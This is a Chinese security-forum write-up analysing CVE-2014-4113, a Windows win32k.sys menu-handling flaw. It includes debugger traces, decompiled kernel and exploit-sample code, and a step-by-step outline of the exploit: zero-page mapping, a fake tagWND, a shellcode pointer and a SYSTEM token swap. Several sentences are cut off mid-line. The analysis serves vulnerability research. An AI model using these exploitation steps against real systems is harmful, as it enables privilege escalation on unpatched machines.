CVE-2014-4113内核漏洞分析

kqsdy / 2019-03-22 09:21:00 / 浏览数 4068 安全技术 漏洞分析 顶(0) 踩(0)

## 漏洞概述

Win32k.sys是Windows的系统驱动文件，在Win32k.sys中负责窗口管理，以及GUI进程/线程都将使用Win32k.sys。与其相关的用户模式模块是user32.dll和GDI32.DLL，
xxxMNFindWindowFromPoint函数执行后返回win32k!tagWND的地址结构或错误代码-1，-5。在该函数后面将调用函数xxxSendMessage，xxxSendMessage把xxxMN

## 漏洞细节

通过对利用程序的分析发现在该漏洞利用代码中将调用PsLookupProcessByProcessId获取进程EPROCESS结构指针，在利用该结构中的TOKEN进行提权。在调用PsLooku

```
1: kd> kv
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
99850a24 94b394f3 ffffffff 000001ed 018bfebc win32+0x1830
99850a64 94b395c5 ffffffff 000001ed 018bfebc win32k!xxxSendMessageTimeout+0x1ac (FPO: [Non-Fpo])
99850a8c 94bb92fb ffffffff 000001ed 018bfebc win32k!xxxSendMessage+0x28 (FPO: [Non-Fpo])
99850aec 94bb8c1f 99850b0c 00000000 018bfebc win32k!xxxHandleMenuMessages+0x582 (FPO: [Non-Fpo])
99850b38 94bbf8f1 fd013e88 94c9f580 00000000 win32k!xxxMNLoop+0x2c6 (FPO: [Non-Fpo])
99850ba0 94bbf9dc 0000001c 00000000 ffffd8f0 win32k!xxxTrackPopupMenuEx+0x5cd (FPO: [Non-Fpo])
99850c14 83e570c6 00820119 00000000 ffffd8f0 win32k!NtUserTrackPopupMenuEx+0xc3 (FPO: [Non-Fpo])
99850c14 77057094 00820119 00000000 ffffd8f0 nt!KiSystemServicePostCall (FPO: [0,3] TrapFrame @ 99850c34)
018bfed0 7562483e 75612243 00820119 00000000 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
018bfed4 75612243 00820119 00000000 ffffd8f0 USER32!NtUserTrackPopupMenuEx+0xc (FPO: [6,0,0])
018bfef4 01301604 00820119 00000000 ffffd8f0 USER32!TrackPopupMenu+0x1b (FPO: [Non-Fpo])
018bff84 75a9ed6c 00000000 018bffd0 770737eb win32+0x1604
018bff90 770737eb 00000000 76ad6c89 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
018bffd0 770737be 01301526 00000000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])
018bffe8 00000000 01301526 00000000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])
1: kd> u 01301604
win32+0x1604:
01301604 85c0            test    eax,eax
01301606 7417            je      win32+0x161f (0130161f)
01301608 57              push    edi
01301609 57              push    edi
0130160a 57              push    edi
0130160b ff74241c        push    dword ptr [esp+1Ch]
0130160f ff1550913001    call    dword ptr [win32+0x9150 (01309150)]
01301615 c70568da300101000000 mov dword ptr [win32+0xda68 (0130da68)],1
```

```
.text:013015E5                  call    ds:SetWindowsHookExA
.text:013015EB                  test    eax, eax
.text:013015ED                  jz      short loc_130161F
.text:013015EF                  push    edi             ; prcRect
.text:013015F0                  push    [esp+6Ch+hWnd]  ; hWnd
.text:013015F4                  mov     eax, 0FFFFD8F0h
.text:013015F9                  push    edi             ; nReserved
.text:013015FA                  push    eax             ; y
.text:013015FB                  push    eax             ; x
.text:013015FC                  push    edi             ; uFlags
.text:013015FD                  push    ebx             ; hMenu
.text:013015FE                  call    ds:TrackPopupMenu
.text:01301604                  test    eax, eax
```

可以看到程序是在执行函数TrackPopupMenu触发了漏洞。通过函数调用栈，对esi值的来源进行反向跟踪，可以知道在Menu的消息处理函数xxxHandleMenuMessages(i
a1, int a2, int a3)中调用xxxMNFindWindowFromPoint(int a1, int a2, unsigned int a3)时返回了异常的值，最终触发了漏洞。

```
v12 = (_DWORD *)a2;
*(_DWORD *)(a2 + 16) = -1;
*(_DWORD *)(a2 + 8) = (signed __int16)v7;
*(_DWORD *)(a2 + 12) = SHIWORD(v7);
PWND = (_DWORD *)xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, (int)v7);// 返回值异常
v48 = IsMFMWFPWindow(PWND);
if ( v48 )
{
  v42 = *((_DWORD *)gptiCurrent + 45);
  *((_DWORD *)gptiCurrent + 45) = &v42;
  v43 = PWND;
  if ( PWND )
    ++PWND[1];
}
if ( v12[1] & 0x400 )
{
  v12[9] = v12[2];
  v12[10] = v12[3];
  v12[12] = UnicodeString;
  LockMFMWFPWindow(v12 + 11, PWND);
}
if ( v12[1] & 0x500 )
  v12[13] = ((v46 & 2) != 0) + 1;
if ( !PWND && !UnicodeString )
  goto LABEL_22;
if ( *(_BYTE *)v3 & 2 && PWND == (_DWORD *)-5 )
{
  xxxMNSwitchToAlternateMenu(v3);
  PWND = (_DWORD *)-1;
}
if ( PWND == (_DWORD *)-1 )
  xxxMNButtonDown(v3, v12, UnicodeString, 1);
else
  xxxSendMessage(PWND, 237, UnicodeString, 0);// 触发漏洞
```

通过对xxxMNFindWindowFromPoint的调用过程进行分析，找到异常的返回值是在SfnOUTDWORDINDWORD(int a1, int a2, int a3, int a4, int a5, int a6,
char a7, int a8)中得到。异常的值最终是由KeUserModeCallback函数通过v27指向的值返回。

```
ms_exc.registration.TryLevel = -2;
UserSessionSwitchLeaveCrit();
v28 = KeUserModeCallback(33, &v20, 24, &v27, &v29);// 回调用户态的消息处理函数
UserEnterUserCritSec();
ThreadUnlock1();
ms_exc.registration.TryLevel = 1;
v13 = (v9[53] + 40);
*v13 = v17;
++v13;
*v13 = v18;
v13[1] = v19;
ms_exc.registration.TryLevel = -2;
if ( v28 < 0 || v29 != 12 )
  return 0;
ms_exc.registration.TryLevel = 2;
if ( v27 < W32UserProbeAddress )              // 在用户空间返回一个值
  v14 = *v27;
else
  v14 = *W32UserProbeAddress;
v30 = v14;
ms_exc.registration.TryLevel = -2;
```

内核态的KeUserModeCallback函数最终会调用ntdll中的KiUserCallbackDispatcher函数来调用用户态回调函数，通过对KeUserModeCallback、KiUserCallbackDispatch

```
0: kd> r
eax=8d3ff870 ebx=fcfa5278 ecx=87761748 edx=00000000 esi=7ffde700 edi=8d3ff870
eip=94bf6729 esp=8d3ff840 ebp=8d3ff8c0 iopl=0         nv up ei pl zr na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
win32k!SfnOUTDWORDINDWORD+0xba:
94bf6729 ff157804c794    call    dword ptr [win32k!_imp__KeUserModeCallback (94c70478)] ds:0023:94c70478=(
0: kd> kv 10
ChildEBP RetAddr  Args to Child
8d3ff8c0 94ace785 fea31580 000001eb 8d3ffa98 win32k!SfnOUTDWORDINDWORD+0xba (FPO: [Non-Fpo])
8d3ff924 94b12e6f 00e01475 75626dd3 00000000 win32k!xxxHkCallHook+0x196 (FPO: [Non-Fpo])
8d3ff9c0 94b08343 fea1c403 00000000 00000000 win32k!xxxCallHook2+0x35f (FPO: [Non-Fpo])
8d3ff9dc 94b394c0 00000000 00000000 00000002 win32k!xxxCallHook+0x26 (FPO: [Non-Fpo])
8d3ffa1c 94b395c5 fea31580 000001eb 8d3ffa98 win32k!xxxSendMessageTimeout+0x179 (FPO: [Non-Fpo])
8d3ffa44 94bb95f6 fea31580 000001eb 8d3ffa98 win32k!xxxSendMessage+0x28 (FPO: [Non-Fpo])
8d3ffa90 94bb8e16 fe842c58 8d3ffafc 00000000 win32k!xxxMNFindWindowFromPoint+0x58 (FPO: [Non-Fpo])
8d3ffaec 94bb8c1f 8d3ffb0c 94c9f580 00000000 win32k!xxxHandleMenuMessages+0x9e (FPO: [Non-Fpo])
8d3ffb38 94bbf8f1 fe842c58 94c9f580 00000000 win32k!xxxMNLoop+0x2c6 (FPO: [Non-Fpo])
8d3ffba0 94bbf9dc 0000001c 00000000 ffffd8f0 win32k!xxxTrackPopupMenuEx+0x5cd (FPO: [Non-Fpo])
8d3ffc14 83e578c6 000703b9 00000000 ffffd8f0 win32k!NtUserTrackPopupMenuEx+0xc3 (FPO: [Non-Fpo])
8d3ffc14 770570f4 000703b9 00000000 ffffd8f0 nt!KiSystemServicePostCall (FPO: [0,3] TrapFrame @ 8d3ffc34)
00c6f898 7562483e 75612243 000703b9 00000000 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
00c6f89c 75612243 000703b9 00000000 ffffd8f0 USER32!NtUserTrackPopupMenuEx+0xc (FPO: [6,0,0])
00c6f8bc 00e01604 000703b9 00000000 ffffd8f0 USER32!TrackPopupMenu+0x1b (FPO: [Non-Fpo])
WARNING: Frame IP not in any known module. Following frames may be wrong.
00c6f94c 75a9ed6c 00000000 00c6f998 770737eb 0xe01604
```

```
LRESULT __stdcall fn(int code, WPARAM wParam, LPAR
{
  if ( *(lParam + 8) == 0x1EB && !dword_130DA60 )
  {
    dword_130DA60 = 1;
    if ( UnhookWindowsHook(4, fn) )
      lpPrevWndFunc = SetWindowLongA(*(lParam + 12
  }
  return CallNextHookEx(0, code, wParam, lParam);
```

程序在fn函数中通过SetWindowLongA设置PopupMenu的窗口消息处理函数，那么当xxxCallHook函数返回后，下图中的条件不成立，将执行xxxSendMessageToClient

```
if ( gptiCurrent == *(P + 2) )
{
  if ( (*(gptiCurrent + 300) | *(*(gptiCurrent + 51) + 12)) & 0x20 )
  {
    v22 = *P;
    v20 = UnicodeString;
    v19 = Src;
    v21 = v12;
    v23 = 0;
    xxxCallHook(0, 0, &v19, 4);
  }
  if ( *(P + 22) & 4 )
  {
    IoGetStackLimits(&LowLimit, &HighLimit);
    if ( &HighLimit - LowLimit < 0x1000 )
      return 0;
    result = (*(P + 24))(P, v12, UnicodeString, Src);
    if ( !a7 )
      return result;
    *a7 = result;
  }
  else
  {
    xxxSendMessageToClient(P, v12, UnicodeString, Src, 0, 0, &HighLimit);// 通过HighLimit返回异常
    v15 = v13[75] | *(v13[51] + 12);
    v16 = HighLimit;
    if ( v15 & 0x2000 )
    {
      v22 = *P;
      v20 = UnicodeString;
      v19 = Src;
      v21 = v12;
      v18 = HighLimit;
      v23 = 0;
      xxxCallHook(0, 0, &v18, 12);
```

sub_13013F3函数中会调用 EndMenu 销毁菜单窗口并返回0xFFFFFFFB。应用层代码返回 0xFFFFFFFB，执行流返回到内核 win32k!xxxMNFindWindowFromPoint 上下文，0xFFFFFFFB与KeUserModeCallback函数通过v27返回的值相等，0xFFFFFFFB会做为xxxMNFindWindowFromPoint的返回值。为了确认，可以修改sub_13013F3函数

```
int __stdcall sub_13013F3(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
  int result; // eax
  DWORD v5; // eax

  if ( Msg != 491 )
    return CallWindowProcA(lpPrevWndFunc, hWnd, Msg, wParam, lParam);
  v5 = GetCurrentThreadId();
  SetWindowsHookExA(9, pfnFilterProc, 0, v5);
  SendMessageA(hWnd, 0, 0x900516u, 0);
  UnhookWindowsHook(9, pfnFilterProc);
  if ( dword_130DA58 )
  {
    EndMenu();
    result = CallWindowProcA(lpPrevWndFunc, hWnd, 0x1EBu, wParam, lParam);
  }
  else
  {
    EndMenu();
    result = 0xFFFFFFFB;
  }
  return result;
```

可见在PopupMenu的窗口消息处理函数处理0x1EB的消息时，没有判断消息函数的返回值，最终导致了漏洞。

该漏洞触发的完整过程如下：通过模仿点击事件，CreatePopupMenu创建的PopupMenu会收到0x1EB类型的消息，因为无法拿到PopupMenu的窗口句柄，程序并没有办
在新的窗口消息处理函数中，对于消息号为0x1EB的消息，函数返回了0xFFFFFFFB，最终触发了漏洞。

## 漏洞利用

对于消息号为0x1EB的消息，函数返回了0xFFFFFFFB，而程序把该值作为win32k!tagWND结构处理，导致后边把0xFFFFFFFB作为win32k!ptagWND结构传给win32k!
xxxSendMessage。在win32k!
xxxSendMessage中会调用win32k!xxxSendMessageTimeout，在win32k!xxxSendMessageTimeout中当把0xFFFFFFFB作为win32k!tagWND结构处理时，会调用ptag
[0xFFFFFFB+0x60]，即call [0x5B]。

```
.text:94B394E8
.text:94B394E8 loc_94B394E8:                           ; CODE XREF: xxxSendMessageTimeout
.text:94B394E8                 push    [ebp+Src]
.text:94B394EB                 push    dword ptr [ebp+UnicodeString]
.text:94B394EE                 push    ebx
.text:94B394EF                 push    esi
.text:94B394F0                 call    dword ptr [esi+60h]
.text:94B394F3                 mov     ecx, [ebp+arg_18]
.text:94B394F6                 test    ecx, ecx
.text:94B394F8                 jz      loc_94B39591
.text:94B394FE                 mov     [ecx], eax
.text:94B39500                 jmp     loc_94B3958A
```

通过call [0x5B]可以想到只要在0x5B的地址上布置shellcode的地址，在执行到call [0x5B]的时候就能跳转到shellcode代码上去执行。基本的利用流程如下。
1)
通过函数ZwAllocateVirtualMemory申请0页内存空间，在该空间建立一个畸形的win32k!tagWND结构的映射页，使得在内核能正确地验证。并将shellcode地址布置在0x
2) 触发漏洞，并设置 xxxMNFindWindowFromPoint返回值为 -5（ 0xfffffffb ）
。xxxSendMessage将把-5作为一个有效的地址。然后调用指向shellcode的函数指针。
3)
Shellcode中将调用PsLookupProcessByProcessId获取EPROCESS信息，用系统进程system进程的EPROCESS.Token替换自己进程的EPROCESS.Token提升权限。
4) 创建一个子进程，将用系统程序权限执行。



上一篇：Pragyan CTF 19 逆向详解 下一篇：空安全意识，撸码一时手抖 elF...

1. 0 条回复
   - 动动手指，沙发就是你的了！